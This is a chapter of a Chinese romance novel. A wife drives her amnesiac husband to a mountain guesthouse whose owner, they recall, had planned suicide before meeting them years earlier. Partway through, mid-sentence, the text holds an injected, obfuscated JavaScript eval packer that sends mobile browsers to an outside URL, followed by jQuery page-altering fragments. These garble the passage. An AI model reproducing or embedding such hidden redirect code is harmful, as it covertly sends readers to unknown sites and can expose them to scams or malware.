林嘉言计划周五晚上出发，正好避开第二天圣诞节拥堵的线路。
但当她晚上八点多才拖着疲惫的身体回到家时，江令宸果断地改变了计划。
“在家休息一晚，明早再出发。”他的决定不容置喙。
林嘉言没有精力争论，草草洗漱之后，不到十点倒头就睡。一夜无梦，几乎陷入昏迷中。
第二天早上倒是起了个大早，精神也恢复了八成。
江令宸醒来的时候，身畔的被窝里早已经失去了温度，看来睡在上面的人已经起来很久了。但他抬头看了一眼墙上的时钟，也不过是八点多而已。
“江，你起来啦，我煮了皮蛋瘦肉粥，打了豆浆，还出门买了些包子，你想吃点什么，我给你盛。”林嘉言精力充沛，看到下楼的江令宸，愉悦地招招手，“我联系了民宿，咱们十点前出发，加上路上塞会儿车，差不多一点就能到那边吃午饭。”
江令宸走向前，伸手接过她刚倒好的一杯豆浆。
“言言，你似乎从来都没说过你累了，我好羡慕你一直这样能量慢慢的样子。”
林嘉言将手搭在他的双肩上，推着他往外走。
餐桌上已经摆满了早餐。
“这些年我觉得疲惫的时候，应该只有决定跟你离婚的前三个月。那时候心好累，每天都在纠结该不该先找你聊聊。”
“找了吗？”
“没找。”林嘉言在江令宸对面坐下，把小罐砂糖递了过去。“我是那种喜欢自己做决定的人，一旦有了某种认定，就听不进别人的话了。爸妈都说这是我唯一的缺点。”
“这么说来，我这车祸来得挺及时。”
林嘉言瞪了一眼江令宸：“除了死亡，世上没有什么比差点死掉更糟糕的事了。”
“差点死掉，说明没死。”江令宸想了想，“换个角度来说，差点死掉是很幸运的事。”
“这么说好像也是，差点儿死掉就是没死掉，这才是世界上最幸运的事。”
吃过早饭后，林嘉言开车出发了。
虽然江令宸在无意中恢复了开车的技能，但一路需要经过海滨道路和山路，林嘉言没有足够的信心让他尝试有些困难的路况。
江令宸也没反驳她的决定，老老实实坐在了副驾驶座上。
当林嘉言特地绕过了地图显示的最佳路径的某段高架道路时，江令宸轻声说道：“言言，谢谢。”
“谢什么？”
导航声音同时响起：“您已偏航，已为您重新规划线路。”
江令宸用轻松的语气回答：“我很快就不会害怕那段道路了。”虽然失去记忆，但经过车祸地点，他仍然心有余悸，或许除了脑子之外，全身器官都记住了那一瞬间的恐惧。
他觉得既然想要和过去彻底告别，那么他也必须快一点克服那个恐惧。
他偷瞄林嘉言的侧脸，最近有许多熟悉但又完全想不起来的影像闪现脑海，复诊时医生说那是保存完好的大脑部位储存的记忆，虽然少了整体记忆作为片段的联结，但那些东西都是存在的，并且会慢慢复苏。
在医生的建议下，江令宸已经开始用日记把每天闪过的片段记录下来。
他明白林嘉言不愿让他回想起出车祸时的恐惧，于是转移话题：“我们要去的地方，以前常去吗？”
“L市的碧瑶山，海拔九百多米，那里现在是S市周边最大的露营基地，能把车开到山顶了呢。”远离车祸的话题，林嘉言松了一口气，变回侃侃而谈的状态，“那里很漂亮，这几年我们差不多一年去个两三次吧。说起来，我们第一次两个人一起外出的地方就是碧瑶山呢。”
那是在三、四年前，也就是毕业快两年时的春天。那时江令宸承受了人生中最大的压力——母亲的治疗效果越来越差，病情进入四期；而同时他在工作上孤注一掷，如果项目不达预期，不单他的公司完蛋了，他的人生从此也要背上巨额负债。
在他濒临崩溃的时候，林嘉言非常强硬地占用了他一夜加上一个早上的时间，带他到碧瑶山上看了一场日出。
当林嘉言把车子停在与第一次过来一样的位置上时，和他们相熟的民宿老板娘姜秀娥走上前来迎接。
后备箱刚打开，她就热情地替他们把行李拿了出来。
林嘉言挽着她的手，把行李箱接过来推给江令宸。
“姜阿姨，今天是圣诞节，民宿都满房了，你赶紧忙去，不用管我们。”林嘉言拿出后备箱里放着的几袋点心礼盒，那是她昨天下班后，赶在商场关门前买的，“我带了你最喜欢的郑记红豆糕，还有他们家的一些新品，待会儿我直接给你放到厨房啦。”
“你们对我太好了，每次过来都准备那么多东西。”姜秀娥喜笑颜开，“我今天确实有点忙，婷婷策划了个圣诞派对，要准备的东西太多了。我留的还是那间房，枕巾被套都换上你们的了，你们先上去休息会儿，我让阿曦把午饭端过去。”
简要地交代完之后，老板娘看了一眼站在林嘉言身后、因为实在不清楚这家民宿的来历而选择沉默的江令宸，笑道：“令宸，今天怎么一言不发的，好好休息，别天天绷紧神经。”
这家民宿是自住房改的，经过几年的发展之后，姜秀娥把旁边几栋房主搬到城里去了的房屋也租了下来，还增添了许多有意义的民宿活动，渐渐成为了当地小有名气的网红民宿。
她给林嘉言和江令宸留的房间在老板娘自有房屋的顶楼，这个房间有一个玻璃天窗，躺在床上就可以透过天窗看到星星。
从房间的小阳台往外看去，山顶的风景一览无遗，甚至能看到一点点山那边毗邻的大海。
江令宸在房间和门外的走廊里走来走去，等和林嘉言同样显得很熟的阿曦，把民宿提前准备的农家炒菜送进来又离开后，关上门才开口问道：“言言，你和这家民宿的人都很熟吗？”
林嘉言把两人的大衣挂进衣柜，笑道：“是我们两个，和这家民宿的人很熟。”
她招呼江令宸过去吃饭，边吃边聊起在车上没有详细回忆的内容。
那一年的春天仍带着寒意，尤其到了山顶，露水也凝成了冰。
林嘉言把车子开到山顶时已经是半夜，坐在副驾驶上的江令宸累得睡着了。她原本打算让他就这么睡过去，等天快亮时再把他叫醒。
虽然紧皱的眉头表明，江令宸坐在车里睡得并不安稳。
她下了车，试图从副驾驶位的门那边把座椅下调，好让江令宸睡得更舒服些，但因为不想吵醒他，蹑手蹑脚的动作反而更难调整座位了。
“你好，需要帮忙吗？”
姜秀娥的声音在林嘉言的身后出现，把她吓了一大跳。虽说这也不算深山老林，但在山里面，大半夜听到一个似乎带着哭腔的女人的声音，还是很可怕的。
林嘉言轻轻抓住江令宸的手臂，忐忑地回头——在确定真正发生危险之前，她不想吵醒好不容易熟睡的他。
姜秀娥的面容憔悴，却不像一个坏人，让林嘉言稍稍放下心来。
“我是那间民宿的老板娘，如果你们找不到住宿的地方，可以在这里住一晚。”姜秀娥小心解释，“我在楼上看到你们的车子停在这里好一会儿了，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15967344|170576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
以为发生了什么事，就过来看看。你不想住也没关系啊，我们家民宿就要歇业了，有没有客人都不重要啦。”
林嘉言这才发现，距离大路不远处，有好几栋黑漆漆的自建房，只有其中一栋的二楼透着微弱的光。
两人对话的声音还是把江令宸吵醒了，简单问明了情况，在民宿预订的软件上确实查到了老板娘提到的民宿后，鬼使神差地，两人同时决定跟老板娘到民宿去看看。
在软件上，有超过一千人对这间民宿打分，虽然平均分不到3分，差评颇多，不管怎么看都是应该赶紧避雷的，但至少证明这间民宿不至于杀人越货。
江令宸更谨慎一些，即使老板娘一直说马上就要歇业了，碰到两人也算是有缘，住宿费就不收了，江令宸仍然坚持在软件上下了订单。
“你偷偷跟我说，有软件上的订单留痕，就算我们出事，警察也能循着线索立刻破案，还我们一个公道。”想起那夜离奇的境遇，林嘉言笑出声来，“当时这个民宿就是很烂啊，只有老板娘一个人在管。再往前一公里就有好几家连锁酒店，大家更愿意住那里呢。”
“就因为那天晚上我们选择了，所以和老板娘熟悉起来了吗？”江令宸根据她说的内容，结合眼前所见推理剩下的故事，“后来老板娘因为我们在歇业前入住，觉得民宿仍然能继续开下去。于是重振旗鼓，让民宿焕然一新，东山再起。从此我们也成了这间民宿的常客？”
“这么说其实也没错啦，但……”
林嘉言继续回忆，那个故事比江令宸的推理多了许多细节。
第二天看完日出回来和姜秀娥道别时，他们才知道这间民宿是她和丈夫在退休之后，从城里回来开的。原本这间民宿是青年旅社的定位，虽然房间都不怎么样，但还是凭借着便宜的床位费吸引了很多想省住宿费的人。
噩耗发生在半年多前，姜秀娥的丈夫晨起腹痛被送到医院，确诊了胰腺癌四期。他的病情恶化得很快，住院不到四个月便撒手人寰。
丈夫七七之后，姜秀娥拒绝了女儿让她留在城里的提议，坚持回到了民宿。这里有和丈夫的快乐回忆，她实在不舍得离开。
可一个人确实忙不过来，加上一些游客不知从哪里听说了民宿老板才去世不久的事，同时精神恍惚的姜秀娥再没心情顾上服务细节，导致差评越来越多。
直到最近一个月民宿再没有接到任何订单，她已经没了继续营业的动力。
“也不知道当时焦头烂额的你哪来的闲工夫，告诉老板娘，‘我们都是专业的，把民宿交给我们吧，我们来帮你重新设计’。”那是林嘉言第一次看到江令宸还有那么热血的一面，“你鼓励她，如果真的在乎这间民宿里的回忆，就不要轻易放弃，一切都能重来。”
江令宸随着林嘉言的声音，沉浸在这段回忆中。
“真好啊，我们一起鼓励一个难过的人重新站了起来，这间民宿也成为我们珍贵的回忆。言言，我们俩的口才都不错嘛。”
“光靠嘴哪就能让人振作呢？”林嘉言的语气中多了庆幸：“其实姜阿姨已经撑不下去了，又不愿意亲自关掉民宿。那天晚上，她原本打算吃安眠药自杀，只是刚好我们停在了楼下，她忍不住关心寒风中两个陌生的路人，才下了楼。”
差点儿死掉就是没死掉，这才是世界上最幸运的事。
江令宸想起出门前林嘉言的话，怔怔地看着她的笑容。
房间的门突然被敲了两下，门外传来老板娘快乐的声音：“嘉言，令宸，吃好饭了吗？三点钟在院子里有个趣味比赛，我给你们报名了噢。”